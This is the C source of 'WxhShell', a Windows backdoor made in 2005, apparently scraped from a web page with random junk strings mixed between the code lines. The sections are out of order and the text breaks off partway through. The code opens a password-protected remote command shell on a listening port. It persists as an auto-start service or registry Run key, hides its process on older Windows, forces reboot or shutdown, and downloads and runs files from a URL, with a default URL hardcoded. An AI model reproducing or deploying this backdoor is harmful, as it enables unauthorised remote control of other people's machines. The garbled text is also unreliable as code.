NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4i ~eTb r{;VTQ if (!NtQueryInformationProcess) return 0; ~*,Ddwr0a ]{q-Y<{" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IN]`lJ if(!hProcess) return 0; 9&|12x$ wdN>KS2! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <-Kb@V3 bUY:XmA CloseHandle(hProcess); ,)B~cic'u f}evw K[S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F:[Nw#gj/ if(hProcess==NULL) return 0; %RfY`n =|j*VF 2y" HMODULE hMod; (6b?ir ~ char procName[255]; !3b|*].B unsigned long cbNeeded; I{*.htt{ tkm~KLWV&7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @'k,\$ / Q{ |+3!!' CloseHandle(hProcess); -$sl!%HO% K#m\qitb if(strstr(procName,"services")) return 1; // 以服务启动 iMOPD}`IX bn<I#ZH2 return 0; // 注册表启动 iZDb.9@&t } !>a&`j2:W 8o%<.] // 主模块 df21t^0/ int StartWxhshell(LPSTR lpCmdLine) H`+]dXLB { r-1yJ SOCKET wsl; B^_$
hJncc BOOL val=TRUE; A$H+4L int port=0; vkNZ -`+I struct sockaddr_in door; IxK 3,@d ZYl-p]\*y if(wscfg.ws_autoins) Install(); 6I5[^fv45G )Ta]6 port=atoi(lpCmdLine); YKs^%GO+ }5fI*v if(port<=0) port=wscfg.ws_port; )Bm^aMVl3 f//j{P[ WSADATA data; oJ4mxi@|# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ';fU.uy dcrJ,>i} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C[J`x>-K setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U:etcnb4w> door.sin_family = AF_INET; dZ;~b(CA door.sin_addr.s_addr = inet_addr("127.0.0.1"); #V(Hk ) door.sin_port = htons(port); dH2j*G Ij //'xR8Z if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ATXx?
b8h closesocket(wsl); ?=|)n% return 1; fxtYo,;$ } @'NaA SB n'x`oI)- if(listen(wsl,2) == INVALID_SOCKET) { XSHwE)m closesocket(wsl); )P(d66yq'u return 1; };VGH/}&s } ^~YmLI4 Wxhshell(wsl); 7y)|^4X2 WSACleanup(); :`Zl\!]E`o $+)x)1 return 0; am$-sh72 =`7)X\i@z } nfd?@34"A2 Rm[rQ}: // 以NT服务方式启动 i+T0}M< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kHo;9j-U { o}AqNw60v DWORD status = 0; 2!~>)N DWORD specificError = 0xfffffff; 9cw4tqTm ?SsRN jeL serviceStatus.dwServiceType = SERVICE_WIN32; S*DBY~pZy serviceStatus.dwCurrentState = SERVICE_START_PENDING; I;|5C=! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [u9S+:7" serviceStatus.dwWin32ExitCode = 0; B#Oc8`1Y serviceStatus.dwServiceSpecificExitCode = 0; d@q t%r3; serviceStatus.dwCheckPoint = 0; ui#1 +p3G serviceStatus.dwWaitHint = 0; S9ak ' 9{]r+z: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ay7+H7^|hZ if (hServiceStatusHandle==0) return; *{D:1S +_|cZlQ& status = GetLastError(); E#HU?<q8 if (status!=NO_ERROR)
U%B]N@ { C}DG'z9 serviceStatus.dwCurrentState = SERVICE_STOPPED; /iJcy:J serviceStatus.dwCheckPoint = 0; 37M[9m|D* serviceStatus.dwWaitHint = 0; M@LaD 5 serviceStatus.dwWin32ExitCode = status; N-?|]4e/ serviceStatus.dwServiceSpecificExitCode = specificError; 4[f7X4d$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pi]s<3PL return; WY.\<$7 } l.NkS |2t7mat serviceStatus.dwCurrentState = SERVICE_RUNNING; 7+Jma! o serviceStatus.dwCheckPoint = 0; 2M(PH]D serviceStatus.dwWaitHint = 0; BoiIr[ ( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kvO`]>#;$? } %N_S/V0` Ll E_{||h // 处理NT服务事件,比如:启动、停止 G~$M"@Q7N VOID WINAPI NTServiceHandler(DWORD fdwControl) li'1RKr { 0.+Z;j switch(fdwControl) g9r5t'; { W0?Y%Da(4m case SERVICE_CONTROL_STOP: 51(`wo>LS serviceStatus.dwWin32ExitCode = 0; B6!<@*BI serviceStatus.dwCurrentState = SERVICE_STOPPED; .]P;fCQmM serviceStatus.dwCheckPoint = 0; &fNE9peQFa serviceStatus.dwWaitHint = 0; lt(-,md { kk\zZC
< SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Nbg@5( } TAXkfj return; |9i/)LRXe case SERVICE_CONTROL_PAUSE: Z_4H2HseL serviceStatus.dwCurrentState = SERVICE_PAUSED; uRq#pYn@ break; OaCj3d> case SERVICE_CONTROL_CONTINUE: H/la'f#o% serviceStatus.dwCurrentState = SERVICE_RUNNING; 4;~lpty break; 2.L6]^N p( case SERVICE_CONTROL_INTERROGATE: dgqJ=+z 0y break; ^9V8 M9 }; e!x-:F#4j SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6_}){ZR } :>-sITeY !vo '8r?& // 标准应用程序主函数 ][K8\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &8YI)G% { ; dHOH\,: iKEKk\j-w // 获取操作系统版本 L"vG:Mq@D OsIsNt=GetOsVer(); ^)P5(fJ GetModuleFileName(NULL,ExeFile,MAX_PATH); I8oKa$RF AiHDoV+- // 从命令行安装 E?5B>Jer# if(strpbrk(lpCmdLine,"iI")) Install(); ;NVTn<Uj wTAEJ{p // 下载执行文件 xp;8p94 if(wscfg.ws_downexe) { w#bbm'j7r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .1q~,}toX WinExec(wscfg.ws_filenam,SW_HIDE); 3/|{>7]1 } % |Gzht\ X|lmH{kf if(!OsIsNt) { \U => // 如果时win9x,隐藏进程并且设置为注册表启动 28qWC~/9 HideProc(); 8 P y_Y> StartWxhshell(lpCmdLine); DdZ_2B2 } `YU:kj<6 else \7w85$ if(StartFromService()) 5}^08Xl // 以服务方式启动 L5|;VH StartServiceCtrlDispatcher(DispatchTable); SE-, 1p else Kz2^f@5=F // 普通方式启动 bzL;)H4Eo StartWxhshell(lpCmdLine); ,?N_67 V`&*%xgGR return 0; l{SPV8[i } dE!=a|Pl ^>}[[:( 6/ [67f; ?b hr"+0KeX =========================================== ZjbG&oc XlcDF|?{. Evgq}3 0JL6EL>_ k.f:nv5JO iP\&fZY_ " I8wVvs;k E6\~/=X=% #include <stdio.h> [?o vJ #include <string.h> {'bkU9+ #include <windows.h> TZ_'nB~ #include <winsock2.h> ill' KPy #include <winsvc.h> [*E.G~IS` #include <urlmon.h> v8(u9V%?6 Pb&+(j #pragma comment (lib, "Ws2_32.lib") BJ2W}R #pragma comment (lib, "urlmon.lib") oa|*-nw weadY,-H8 #define MAX_USER 100 // 最大客户端连接数 _@?Jx/`;bk #define BUF_SOCK 200 // sock buffer 03\8e?$ #define KEY_BUFF 255 // 输入 buffer 5Kxk9{\8 dllf~:b #define REBOOT 0 // 重启 fszeJS}Dw #define SHUTDOWN 1 // 关机 &=O1Qg=K AS^$1i: #define DEF_PORT 5000 // 监听端口 /3%xQK>% ~4gKAD #define REG_LEN 16 // 注册表键长度 zC;lfy{f= #define SVC_LEN 80 // NT服务名长度 e[o
;l
i_^NbC // 从dll定义API I`>%2mP[C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D??/=`|8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dp W%LXM_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UC$+&&rO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @a3v[}c* SytDo (_=W // wxhshell配置信息 &Y2P! \\2 struct WSCFG { -zkL)<7 int ws_port; // 监听端口 ``CADiM:S char ws_passstr[REG_LEN]; // 口令 vK~KeZ\,p= int ws_autoins; // 安装标记, 1=yes 0=no 4?uG> ;V char ws_regname[REG_LEN]; // 注册表键名 UwT$IKR char ws_svcname[REG_LEN]; // 服务名 [`dipLkr char ws_svcdisp[SVC_LEN]; // 服务显示名 YhR"_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,QAp5I%3= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y}z?I%zL int ws_downexe; // 下载执行标记, 1=yes 0=no Av4E?@R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l~c>jm8. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e!'u{>u (19<8a9G }; u6d~d\ 4=cq 76 // default Wxhshell configuration YIqfGXu8 struct WSCFG wscfg={DEF_PORT, ZJM^P'r.1c "xuhuanlingzhe", Bq`kVfx 1, <cjTn:w "Wxhshell", aBLb i "Wxhshell", ~]+
jn "WxhShell Service", 8nR,GW\ "Wrsky Windows CmdShell Service", P$(}}@ "Please Input Your Password: ", W4Q]<<6& 1, ' "
yl>" "http://www.wrsky.com/wxhshell.exe", =_3qUcOP "Wxhshell.exe"
>ON.ftZi }; &$im^0`r_ :N:8O^D^< // 消息定义模块 )S?}huX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H.K`#W& char *msg_ws_prompt="\n\r? for help\n\r#>"; w+P^c| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3f8Z?[Bb@ char *msg_ws_ext="\n\rExit."; d69VgLg char *msg_ws_end="\n\rQuit."; L@GD$F=<0 char *msg_ws_boot="\n\rReboot..."; ^2@~AD`&h char *msg_ws_poff="\n\rShutdown..."; (Ad!hyE( char *msg_ws_down="\n\rSave to "; l))IO`s=_ 63$m& ]x char *msg_ws_err="\n\rErr!"; essW,2,rjC char *msg_ws_ok="\n\rOK!"; ;Bi{;>3 ?Qk#;~\yB char ExeFile[MAX_PATH]; )CQ}LbX Zy int nUser = 0; 3Re\ T HANDLE handles[MAX_USER]; Ev#aMK int OsIsNt; . %7A7a 4f,x@:Jw SERVICE_STATUS serviceStatus; PCjY,O SERVICE_STATUS_HANDLE hServiceStatusHandle; n3,wwymQ gu&oCT // 函数声明 ij5YV3 int Install(void); KR0
x[#.* int Uninstall(void); px@\b]/ int DownloadFile(char *sURL, SOCKET wsh); H:6$)# int Boot(int flag); 0k [6 void HideProc(void); nsk
6a int GetOsVer(void); R0'EoX int Wxhshell(SOCKET wsl); ?>&Zm$5V void TalkWithClient(void *cs); s6uAF(4, int CmdShell(SOCKET sock); Cn '=_1p int StartFromService(void); &.B6P|N' int StartWxhshell(LPSTR lpCmdLine); F{tSfKy2 V;(LeuDH| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #CmBgxg+M VOID WINAPI NTServiceHandler( DWORD fdwControl ); pT tX[CE XvY-C // 数据结构和表定义 c-d}E!C: SERVICE_TABLE_ENTRY DispatchTable[] = w.H+$=aK { ?C3cPt" {wscfg.ws_svcname, NTServiceMain}, <^{: K` {NULL, NULL} +6atbbe} }; W^f#xrq> TVA1FD // 自我安装 O6]~5&8U. int Install(void) W[s>TDc`v { EM}z-@A> char svExeFile[MAX_PATH]; XT"c7]X HKEY key; Gy%e%' strcpy(svExeFile,ExeFile); 1O4"MeF 0
HmRl // 如果是win9x系统,修改注册表设为自启动 Q2Rj0E` if(!OsIsNt) { ) /'s&
D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $EF@x}h:A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z^.0eP8\j RegCloseKey(key); y
rk#)@/m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { flqTx)xE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5@ug1F& RegCloseKey(key); wn&2-m*a return 0; mZyTo/\0 } wQT'~'kL } 6*7&X#gG } _L":Wux else { bSfQH4F ZI7<E // 如果是NT以上系统,安装为系统服务 )RFeF!(" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sqs`E[G* if (schSCManager!=0) x#D=?/~/Kv { nmr>Aj8[ SC_HANDLE schService = CreateService /&yT2p ( 'S"F=)*- schSCManager, intf%T5# wscfg.ws_svcname, P>|2~YxjU wscfg.ws_svcdisp, hh9{md\ SERVICE_ALL_ACCESS, #eYVZ=E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oWmla*nCKL SERVICE_AUTO_START, j7&l&)5 SERVICE_ERROR_NORMAL, {Y Ymt!Ic svExeFile, +zsya4r NULL, $]FWpr%) NULL, n9fk{"y'G NULL, ,"o\_{<z NULL, eORt
qX8* NULL _q 8m$4 ); @^Oww(I if (schService!=0) -bwl~3ZTi { OjZ@_V: CloseServiceHandle(schService); PW}.` CloseServiceHandle(schSCManager); Cp%|Q.? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;/@R{G{+~; strcat(svExeFile,wscfg.ws_svcname); 2olim1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9[`6f8S_$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hlRE\YO&8R RegCloseKey(key); Y{KJk'xN5W return 0; -MjRFa } KVuv%? } 0NxaQ`\ CloseServiceHandle(schSCManager); (Gcl,IW } cc[w%jlA# } yWzTHW`)Mr &>o)7H]; return 1; :R)IaJ6) } DI_mF#5q amRtFrc| // 自我卸载 W4<}w-AoEp int Uninstall(void) *q
RQN+% { 'g#GUSXfj HKEY key; {%
P;O ?
k{~5pxd-t if(!OsIsNt) { Y*Pr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8/:\iPk0 RegDeleteValue(key,wscfg.ws_regname); Q*I/mUP&f RegCloseKey(key); p.G7Cs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x?3p3[y RegDeleteValue(key,wscfg.ws_regname); Z(L>~+% RegCloseKey(key); t.cplJF&Ue return 0; _3hEYeh } mIyaoIE|$ } F<$&G'% H } am}zOr\ else { b}fH$.V@ +"!IVHY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DsoF4&>g[B if (schSCManager!=0) wQ5__"D { yC[}gHv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %9j]N$.V if (schService!=0) C.@TX
{ (<h,R@: if(DeleteService(schService)!=0) { "P6MLf1 CloseServiceHandle(schService); /=N`P &R# CloseServiceHandle(schSCManager); ,0~=9dR return 0; T4[eBO } 0PN{
+<?. CloseServiceHandle(schService); 6[cMPp x } &\LbajP:+ CloseServiceHandle(schSCManager); 6vDgMfw } E~B
LY{3: } KnuqU2<
{ SC# return 1; Vh&uSi1V } 99`xY$ z8oSh t`+ // 从指定url下载文件 u>BR WN int DownloadFile(char *sURL, SOCKET wsh) 4h|vd.t { {0?76| HRESULT hr; %:NI@59 char seps[]= "/"; !59q@Mya[ char *token; ZR1EtvVG char *file; 6Pz\6DU,I char myURL[MAX_PATH]; d$!ibL#o char myFILE[MAX_PATH]; y=t
-/*K J? C"be= strcpy(myURL,sURL); K$4Ky&89
token=strtok(myURL,seps); =_5-z|< while(token!=NULL) [Mx+t3M { p|zW2L file=token; x`4">:IA token=strtok(NULL,seps); e.[h } "h
"vp&A C`fQ` RL\ GetCurrentDirectory(MAX_PATH,myFILE); `W5f'RU strcat(myFILE, "\\"); =vR>KE strcat(myFILE, file); kp[Jl0K5 send(wsh,myFILE,strlen(myFILE),0); jN'zNOV~ send(wsh,"...",3,0); ~!I
\{( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z',pQ{rD if(hr==S_OK) 7>#74oy return 0; d4lEd>Ni else N)QW$iw9 return 1; @sP?@<C r'&VH]m } ;X8eZQ #jQITS7 // 系统电源模块 lyP<&<Y5 int Boot(int flag) RJ`F2b sYN { -0Ps.B HANDLE hToken; '2eggX% TOKEN_PRIVILEGES tkp; [l0>pHl@ OmsNo0OA if(OsIsNt) { YtFtU;{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %
_ N-:.S LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JMXCyDy; tkp.PrivilegeCount = 1; Up~#]X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &U:;jlST9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $aEL>,X if(flag==REBOOT) { \]zHM.E1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u-D%: lz85 return 0; Ay[6rUO } 8/k*"^3 else { F8q|$[nH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^5OR%N) return 0; HN\9d } 0y*8;7-|r) } Uo# Pe@ieQ else { @,$>H7o if(flag==REBOOT) { 3{CXIS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p~qdkA< return 0; MFRM M%` } }}<^fM else { s$A|>TOY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +ps(9O/B> return 0; 1jDN=hIl } QN":Qk(,q } r+>gIX+Fl 0`:0m/fsU return 1; A\LMmg } Q/I/>6M7UZ H>%K}Fh // win9x进程隐藏模块 nGq{+
G void HideProc(void) XsEDI?p2 { 09/Mg `KB; 3L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tmKHT if ( hKernel != NULL ) #mFIZMTRd { J.$N<. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }Ge$?ZFH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RGsgT ^ FreeLibrary(hKernel); a0~LZQ? } .r4*?> N:_.z~>% return; F P3{Rp } *|Tx4Qt Vmt$]/ // 获取操作系统版本 EN^5Hppb int GetOsVer(void) 3VaL%+T$, { 3%P<F>6
J OSVERSIONINFO winfo; {{qu:(_g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pC^d-Ii GetVersionEx(&winfo); MaN6bM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3s;^p,9
Y return 1; *mby fu0q else ;?4EVZ#o return 0; %py3fzg } %g: 6QS| FN\*x:g // 客户端句柄模块 Xh+;$2l.B int Wxhshell(SOCKET wsl) QWcQtM { Zjd9@ SOCKET wsh; R.(PZC vS struct sockaddr_in client; Qco8m4n DWORD myID; F$M^}vsjGx lha)4d while(nUser<MAX_USER) #x*\dL { ~bf4_5 int nSize=sizeof(client); H%pD9'q~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2{|Z?3FJ^ if(wsh==INVALID_SOCKET) return 1; SMonJ;Y i]9C"Kw$L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *O_>3Hgl if(handles[nUser]==0) >jz9o9?8 closesocket(wsh); *+(rQ";x else %tB7 &%ut nUser++; 2ca#@??R } `3g5n:"g\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }k;wSp[3 7cB/G:{
return 0; :er(YWF: } F%P"T%| $7" Y/9Y // 关闭 socket 0nbY~j$A= void CloseIt(SOCKET wsh) (@m/j2z { H-\Ym}BGu closesocket(wsh); !#d5hjoX
nUser--; ;* QK^ # ExitThread(0); P?p]sLrP } LAkBf /% g+|C // 客户端请求句柄 $GP66Ev void TalkWithClient(void *cs) S/"G=^~ { }ZK%@b> EQN)y27poW SOCKET wsh=(SOCKET)cs; hC[=e`j char pwd[SVC_LEN]; yIhPB8QL char cmd[KEY_BUFF]; T*:w1*: char chr[1]; 9#TD1B/ int i,j; DQ(0:r rY6x):sC while (nUser < MAX_USER) { D&i\dgbK }4N'as/ZO if(wscfg.ws_passstr) { Z#.1p'3qm1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f"RC(("6W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KCO.8=y3 //ZeroMemory(pwd,KEY_BUFF); ynv{
rMl i=0; l]4=W<N while(i<SVC_LEN) { e8rZP(g&g D'<L6w` // 设置超时 O 2-n- fd_set FdRead; vhPlH0 struct timeval TimeOut; [3"F$?e5 FD_ZERO(&FdRead); 4j~q,#$LW FD_SET(wsh,&FdRead); /cb`%"Z TimeOut.tv_sec=8; b3EGtC}^ TimeOut.tv_usec=0; WW+xU0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KF
zI27r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +@=V}IO x(._?5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XHekz6_ pwd=chr[0]; QuqznYSY{ if(chr[0]==0xd || chr[0]==0xa) { GA[Ebzi pwd=0; T[ZmD{6l break; @oE
5JM } yI 2UmhA i++; ]R_R`X? } x>}ml\R [EDX@Kdq) // 如果是非法用户,关闭 socket iI{L>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ec!!9dgRQ } H0;Iv#S! 5X20/+aT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hl,{4%] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j@>D]j ;.V/ngaj while(1) { lG)wa 4p,:}h ZeroMemory(cmd,KEY_BUFF); M@R"-$Z cc|W1,q // 自动支持客户端 telnet标准 5Jbwl$mZ j=0; iX$G($[l( while(j<KEY_BUFF) { hI'WfF!X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =0pt-FQ cmd[j]=chr[0]; ^ +SE_ -+] if(chr[0]==0xa || chr[0]==0xd) { WeM38&dWY cmd[j]=0; j{%;n40$ break; zY*9M3(X } k
ucbI_ j++; j(=w4Sd_W } :j]1wp+ U05;qKgkDF // 下载文件 D5,]E`jwu if(strstr(cmd,"http://")) { a_RY Yj send(wsh,msg_ws_down,strlen(msg_ws_down),0); I8Aq8XBw if(DownloadFile(cmd,wsh)) lI<jYd
0fZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); eX+36VG\ else IMkE~0x4</ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }|.<EkA } .xN<<+|_v' else { L,}'ST g'7E6n"!, switch(cmd[0]) { suY47DCX) zMsup4cl // 帮助 T Rv case '?': { =SJ#6uFS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QQrldc(I break; "'U^8NA2 } 4>d4g\Z0L // 安装 $G".PWc case 'i': { Q;]JVT1 if(Install()) KqK]R6> send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ymz/: else #*o0n>O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QTy=VLk43 break; <T}^:2G| } 6:zPWJB // 卸载 [E1qv; case 'r': { #L*\ ^ c if(Uninstall()) ;|q<t send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?\(?%B else \O5L#dc# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Anz{u$0M[ break; qYK^S4L } |Xt.[1 // 显示 wxhshell 所在路径 Tn& |